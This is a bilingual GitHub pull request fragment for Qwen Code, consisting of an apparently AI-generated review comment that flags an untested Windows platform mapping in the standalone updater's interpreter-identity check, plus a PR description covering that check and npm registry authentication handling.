Two constraints: :480 means a Windows fixture must place the runnable at the .exe path or it fails earlier at the binary not found check (:491) and never reaches the identity guard — and coverage shows that path is live (hits=5), so the failure would be misattributed; and the mapping only has to cover the five enumerated VALID_TARGETS (:34-40) because validateTarget(target) already runs at :1179 and :1212 before smokeTest. Keep the fixture default matching the ~10 existing runnable tests that pass no interpreterIdentity (:607, :742, :764, :808).
中文说明
[Suggestion] R1-11：这里的 win → win32 规范化在所有测试中都不可达，而测试替身用生产代码同样朴素的 split 来推导它的期望身份——因此这个 oracle 在构造上就与实现共享同一个盲点。
这是本 diff 新增的五个「删除后无测试可发现」的保护之一；共性模式与其余四处见配套评论。所有 runnable-archive 测试都是 it.skipIf(process.platform === 'win32')，而传给 serveArchive 的唯一非默认 target 是 ${os.platform()}-${os.arch()}（:713），它只会产生 linux-*/darwin-*，且该测试本身也在 win32 上跳过。同时 serveArchive 把解释器写在 <runtime>/bin/<runtime>，而生产代码在 target 以 win 开头时解析的是 <runtime>/<runtime>.exe（:480-482），所以没有任何 CI 平台会让 win-* target 真正走过 smokeTest。测试替身的默认身份是 platform: fixtureTarget.split('-')[0]（:492），对 win target 得到的是未映射的 'win'——替身在结构上就无法表达这个映射。
删掉或反转这个三元表达式，Windows 上每次 standalone 更新都会在冒烟测试中以 interpreter identity does not match the expected runtime and target 失败，激活中止并回滚，Windows 用户静默地停止收到更新——而整个测试套件保持绿色。今天若写一个 serveArchive({ target: 'win-x64', runnable: true }) 的测试，它会输出 platform:'win'，以同样具有误导性的消息失败，既没有覆盖它本想覆盖的分支，还会把作者指向错误的成因。
证据——未修改代码树上的覆盖率，109 个测试通过：
stmt line 481 hits=0 <- `<runtime>.exe` 解释器路径从未被走到
stmt line 482 hits=12 <- 每次都走 bin/<runtime> 路径
branch line 480 pathHits=[0]
branch line 520 pathHits=[0] and [4] <- 'win32' 分支从未被求值
'win32' 分支上的 pathHits=[0] 就是这条发现的全部：套件中没有任何断言能发现它被删除或反转。
请把这个映射抽取出来（例如 expectedInterpreterIdentity(target, runtime)，或一个 targetPlatform(target) 辅助函数）并在 smokeTest 中使用，然后用字面量直接固定它——一个表驱动测试断言 'win-x64' → { platform: 'win32', arch: 'x64' } 与 'darwin-arm64' → { platform: 'darwin', arch: 'arm64' }——不启动进程、不涉及测试替身。把三元表达式换成裸 platform 后该表驱动测试必须变红。接着用同样方式规范化替身的默认值，在替身 target 以 win 开头时把解释器写到 <runtime>/<runtime>.exe，并补一个 win-x64 成功用例和一个 platform:'win' 不匹配用例——两者都能在 Linux 主机上运行，因为假解释器是 #!/bin/sh 脚本，.exe 后缀在那里是惰性的。
两个约束：:480 意味着 Windows 替身必须把可执行文件放在 .exe 路径上，否则会更早地在 binary not found 检查（:491）失败而根本到不了身份保护——覆盖率显示那条路径是活跃的（hits=5），所以失败会被错误归因；另外该映射只需覆盖枚举出的五个 VALID_TARGETS（:34-40），因为 validateTarget(target) 已在 :1179 与 :1212 于 smokeTest 之前运行。请保持替身默认值与那约 10 个不传 interpreterIdentity 的现有 runnable 测试相容（:607、:742、:764、:808）。
— qwen3.8-max via Qwen Code /review (v0.25.1)
|
Superseded by #14934. The complete interpreter-identity and registry-authentication increment from The Critical R1-1 (empty HOME trusting the project's npmrc) is fixed in the published integrated head Closing this duplicate transfers continued review and acceptance to #14934; it is not a claim that every Suggestion or platform gate is complete. Original authorship/provenance is retained through this PR and its source SHA. |
What this PR does
Standalone updates probe the candidate's private interpreter before replacement and require its real runtime, platform and architecture to match the downloaded manifest and expected installation. Standalone version checks retain global npm registry configuration and scoped authentication without invoking npm, with bounded redirects and credential redaction.
Why it's needed
A checksum-valid Bun archive containing a real Node binary previously activated successfully. Native registry checks also dropped npmrc registry and credentials, causing previously working private registry checks to fail with HTTP401. This stacks on #14139 at
28e39a04ae7823b6b128c96133bf99609465ccab; #14134 and #14139 remain unchanged.Reviewer Test Plan
How to verify
Confirm a declared Bun archive containing Node, and the inverse, fail before replacing either the active installation or its existing backup. Verify both immediate update and prepared offline activation, normal Node/Bun updates, legacy Node manifests and rollback. Compare npm global-view configuration behavior against native lookup: project npmrc ignored; global/user/env merge per key; scoped registry beats default registry; scoped token and Basic authentication retained. Confirm 401/503 and five-second timeout remain errors, same-origin redirects retain credentials, and cross-origin redirects cannot receive or restore them.
Evidence (Before & After)
Before: real Bun-to-Node mismatch activated with checksum verification; native registry requests lacked Authorization while the npm control succeeded. After: real Node24.19.0/Bun1.3.14 direct/offline mismatch rejection and byte preservation pass; 40 prior identity/manifest regression receipts pass; 164 affected unit tests pass; 26 npm and 52 native configuration checks, 18 transport checks and complete archive registry checks pass locally. Raw failures, replay scripts and detailed results are delivered on Multica MYWO-36. Module fixtures and complete product archive evidence are reported separately.
Tested on
Environment (optional)
Private dependency copies; build, typecheck, bundle and affected lint/tests pass. Complete product checks use the actual standalone launcher with PATH=/usr/bin:/bin and local dummy registries.
Risk & Scope
Linked Issues
MYWO-36; stacked on #14139.
中文说明
改动
standalone 更新在替换前通过候选私有解释器校验真实 runtime/platform/arch，要求与严格下载 manifest 和预期安装一致。版本查询无需 npm 子进程，保留 global npm registry/scoped 认证配置，并对重定向和凭据错误设界。
原因
原来 checksum 正确但声明 Bun、实际二进制为 Node 的归档仍被激活；native registry 查询还丢失 npmrc 源与认证，导致原 npm 可用的私有源401。本 PR 从 #14139 的精确28e39a04堆叠，原 #14134/#14139 不变。
验证方法与证据
错误Node/Bun二进制应在直接更新和离线激活替换前拒绝，活动安装和预存备份字节不变；正常更新、legacy Node和回滚保持。global/user/env按键合并后scope优先，project配置按旧--global行为忽略；token/basic认证成功，401/503及5秒timeout真实失败；同源重定向保留认证，跨源删除且不恢复。
修复前真实错配激活且child=node，npm认证成功而native缺header；修复后双宿主真实归档矩阵、40项前序回归、164项单测、26个npm/52个native配置对照、18项transport及完整产品归档检查局部通过。原失败、可复跑脚本和精确结果交Multica MYWO36；模块替身与完整产品证据分列，不把harness成功当原实现通过。
环境、风险与范围
仅macOS arm64、固定Node24.19.0/Bun1.3.14，私有依赖副本；build/typecheck/bundle及受影响lint/tests通过。完整产品用无外部Node/Bun的PATH和本地dummy registry。Windows/Linux、代理CA、生产签名、完整协议/平台、旧PTY及Bun worker生命周期未通过或未测。这个reader仅处理registry/auth子集，不替代完整npm；保留legacy兼容，不改生产pin/lock/framework/addon/PTY，无合并或发布。真实公共npm查询Node宿主约5秒timeout仍保留；Bun模块及完整产品公共源查询成功，不抵消Node负项。最终独立验收和两个正式review由Leader协调。